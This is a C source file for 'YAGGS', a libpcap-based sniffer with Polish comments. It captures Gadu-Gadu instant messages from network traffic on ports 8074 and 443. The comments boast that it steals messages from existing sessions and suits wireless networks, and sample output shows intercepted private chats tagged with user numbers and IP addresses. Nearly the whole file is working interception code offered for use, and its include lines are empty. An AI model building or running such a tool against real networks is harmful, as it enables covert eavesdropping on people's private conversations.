/* * [Y]et [A]nother [G]adu [G]adu [S]niffer * * v.01b * * : eliminuje dublujace sie wiadomosci * : zamienia ogonki na ich odpowiedniki w ascii * * ukrada rowniez wiadomosci z istniejace sesji gg dlatego * tez fajnie sprawdza sie w sieciach cablelessowych * * yaggs: * (g)cc -lpcap -oyaggs yaggs.c * * ./yaggs [[+/-]] [interface] * * jezeli pierwszym argumentem jest '[+]' lub '[-]' odpowiednio * zwiekszany lub zmniejszany jest poziom verbose * * --- * ./yaggs - domyslny interface i verbose * * [xxxxxx3 >] m jak dupa sie skonczylo * [xxxxxx1 <] kim jestes? * * <> - kierunek wiadomosci czyli xxxxxx3 wysyla wiadomosc * "m jak dupa sie skonczylo" do kogos, xxxxxx1 otrzymuje * od kogos tekst "kim jestes?" * * --- * ./yaggs [-] - domyslny interface, zmniejszony verbose * * : kwiatuszku przyjdz do mnie * : jutro klasowka z matmy * : ja mam juz 10 level :P * * --- * ./yaggs [+] - domyslny interface, zwiekszony verbose * * Wed Mar 23 12:13:04 2005 * [xxxxxx2 > (192.168.2.11)] ja ci na pewno dam * * 192.168.2.11 otrzymuje msg "ja ci na pewno dam" od xxxxxx2 * * --- * ./yaggs ra0 - sniffuj na interface 'ra0' * * --- * ./yaggs [-] ra0 - zmniejsz verbose, interface 'ra0' * * : |-------------------------| * : | Tomasz Chomiuk | * : | ch0mik[at]hotpop.com | * : |-------------------------| * */ #include #include #include #include #include #include #include #include #include #define FILTER "tcp port (8074 or 443)" char pcap_err[PCAP_ERRBUF_SIZE]; int verbose = 1; void err_exit(char *err) { fprintf(stderr, "%s\n", err); exit(EXIT_FAILURE); } char *lookup_dev(void) { char *dev; if ((dev = pcap_lookupdev(pcap_err)) == NULL) err_exit(pcap_err); return dev; } pcap_t *pcap_init(char *dev) { pcap_t *descr; bpf_u_int32 ip, mask; struct bpf_program cf; descr = pcap_open_live(dev, BUFSIZ, 1, 0, pcap_err); if (descr == NULL) err_exit(pcap_err); if ((pcap_lookupnet(dev, &ip, &mask, pcap_err)) == -1) err_exit(pcap_err); pcap_compile(descr, &cf, FILTER, 0, ip); pcap_setfilter(descr, &cf); return descr; } struct gg_header { unsigned int type; unsigned int lenght; }; struct gg_recv_msg { unsigned int sender; int seq; int time; int class; }; struct gg_send_msg { unsigned int recipient; int seq; int class; }; u_char fuck_Cp1250(u_char letter) { return (letter == 0xD1) ? 'N' : (letter == 0xF1) ? 'n' : (letter == 0xA3) ? 'L' : (letter == 0xB3) ? 'l' : (letter == 0xD3) ? 'O' : (letter == 0xF3) ? 'o' : (letter == 0xA5) ? 'A' : (letter == 0xC6) ? 'C' : (letter == 0xE6) ? 'c' : (letter == 0xB9) ? 'a' : (letter == 0xCA) ? 'E' : (letter == 0xEA) ? 'e' : (letter == 0x8C) ? 'S' : (letter == 0x9C) ? 's' : (letter == 0x8F) ? 'Z' : (letter == 0x9F) ? 'z' : (letter == 0xAF) ? 'Z' : (letter == 0xBF) ? 'z' : letter; } void print_msg(u_char *msg, const u_char *heart, int dir) { u_char buf[BUFSIZ]; static u_char buf_dup[BUFSIZ]; int tmp = 0; time_t t; struct gg_recv_msg *msghdrr; struct gg_send_msg *msghdrs; struct ip *iphdr; msghdrr = (struct gg_recv_msg *)(msg - sizeof(struct gg_recv_msg)); msghdrs = (struct gg_send_msg *)(msg - sizeof(struct gg_send_msg)); iphdr = (struct ip *)(heart + ETH_HLEN); t = time(NULL); memset(buf, 0, BUFSIZ); do { buf[tmp] = fuck_Cp1250(msg[tmp]); tmp++; } while (msg[tmp]); if (!(strncmp((const char *)buf, (const char *)buf_dup, BUFSIZ))) return; for (tmp = 0; tmp <= BUFSIZ; tmp++) buf_dup[tmp] = buf[tmp]; if (verbose == 2) printf("\n%s", ctime(&t)); if (verbose >= 1) printf("[%u %c%c ", ((dir == 0xa) ? msghdrr->sender : msghdrs->recipient), ((dir == 0xa) ? '>' : '<'), ((verbose == 2) ? '\0' : ']')); if (verbose == 2) printf("(%s)] ", ((dir == 0xa) ? inet_ntoa(iphdr->ip_dst) : inet_ntoa(iphdr->ip_src))); if (verbose == 0) printf(": "); printf("%s\n", buf); } void process_packet(u_char *args, const struct pcap_pkthdr *pcap_hdr, const u_char *heart) { u_char *payload, *msg; struct gg_header *gg_hdr; payload =(u_char *)(heart + ETH_HLEN + sizeof(struct ip) + sizeof(struct tcphdr)); gg_hdr = (struct gg_header *)payload; if (gg_hdr->type == 0xa) { msg = payload + sizeof(struct gg_header) + sizeof(struct gg_recv_msg); print_msg(msg, heart, 0xa); } if (gg_hdr->type == 0xb) { msg = payload + sizeof(struct gg_header) + sizeof(struct gg_send_msg); print_msg(msg, heart, 0xb); } } void yaggs_main(char *dev) { pcap_t *descr; descr = pcap_init(dev); if ((pcap_loop(descr, -1, process_packet, NULL)) == -1) err_exit(pcap_geterr(descr)); } int main(int argc, char *argv[]) { char *dev; if (argc == 1) dev = lookup_dev(); else { if ((*argv[1] == '[') && (*(argv[1] + 2) == ']')) { verbose = (*(argv[1] + 1) == '+') ? 2 : (*(argv[1] + 1) == '-') ? 0 : 1; if (argc == 2) dev = lookup_dev(); else dev = argv[2]; } else dev = argv[1]; } yaggs_main(dev); return 0; }